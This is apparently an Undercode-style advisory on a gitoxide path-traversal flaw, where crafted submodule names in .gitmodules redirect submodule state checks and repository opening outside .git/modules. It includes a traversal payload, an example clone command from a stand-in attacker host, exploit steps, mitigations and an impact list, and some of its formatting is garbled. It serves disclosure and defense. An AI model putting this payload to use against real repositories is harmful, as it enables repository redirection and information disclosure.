Listen to this Post
The vulnerability arises when gitoxide reads submodule names from a `.gitmodules` file without validation. A malicious repository can define a submodule name containing path traversal sequences like ../../../escaped-target.git. During submodule operations, gitoxide constructs the submodule’s Git directory by joining the repository’s `common_dir` with `”modules”` and the raw submodule name. For example: common_dir.join("modules").join("../../../escaped-target.git"). This results in a path that escapes the intended `.git/modules/` directory. The flaw is that no confinement check or canonicalization is applied before using this path. The `state()` function then checks repository existence at the escaped location, returning `true` for an attacker-controlled path outside .git/modules. Subsequently, `open()` uses the same escaped path to initialize a `Repository` object, whose `common_dir()` normalizes to the target directory chosen by the attacker. The PoC demonstrates that repository_exists=true, submodule_opened=true, and the opened repository’s normalized path matches the escaped target outside the modules root. The root cause is missing normalization-and-confinement between the submodule name from configuration and its use as a filesystem path component. This allows submodule name injection to redirect submodule inspection and repository opening to an arbitrary repository path on the filesystem.
Platform: Gitoxide (Rust)
Version: prior to fix
Vulnerability : Path traversal redirection
Severity: Medium
date: 2025-05-14
Prediction: 2025-06-01
What Undercode Say:
Clone malicious repo with crafted .gitmodules git clone https://attacker.com/evil.git cd evil Inspect submodule name with traversal git config --file .gitmodules --get submodule...name Output: ../../../escaped-target.git Simulate gitoxide submodule state check cargo run --example submodule_state Expected: repository_exists=true for escaped path Show normalized path escaping .git/modules realpath .git/modules/../../../escaped-target.git Returns /absolute/path/artifacts/escaped-target.git
Exploit:
- Attacker creates repository with `.gitmodules` containing submodule name
../../../escaped-target.git. - Victim runs `gitoxide` based tool that enumerates submodules (e.g.,
gix submodule status). - Gitoxide calls `Submodule::state()` → checks existence of `.git/modules/../../../escaped-target.git` (normalized to
/attacker/controlled.git).
4. `Submodule::open()` returns repository object pointing to attacker’s chosen path. - Victim’s code then operates on wrong repository, leaking information or performing unintended actions.
Protection from this CVE
- Sanitize submodule names: reject any containing
..,/,\, or null bytes. - After constructing path
common_dir/modules/<name>, canonicalize and verify it still starts withcommon_dir/modules/. - Use a safe identifier (e.g., hash of submodule name) for storage path instead of raw name.
- Update to patched gitoxide version (once released). Apply confinement check before `state()` and
open().
Impact:
- Repository redirection: submodule operations target attacker-chosen repository outside
.git/modules. - Information disclosure: victim may read arbitrary Git repository metadata from attacker-specified path.
- Integrity bypass: submodule status or open calls return false repository, enabling further confusion attacks.
- No direct RCE, but can lead to privilege escalation if victim trusts returned repository object.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

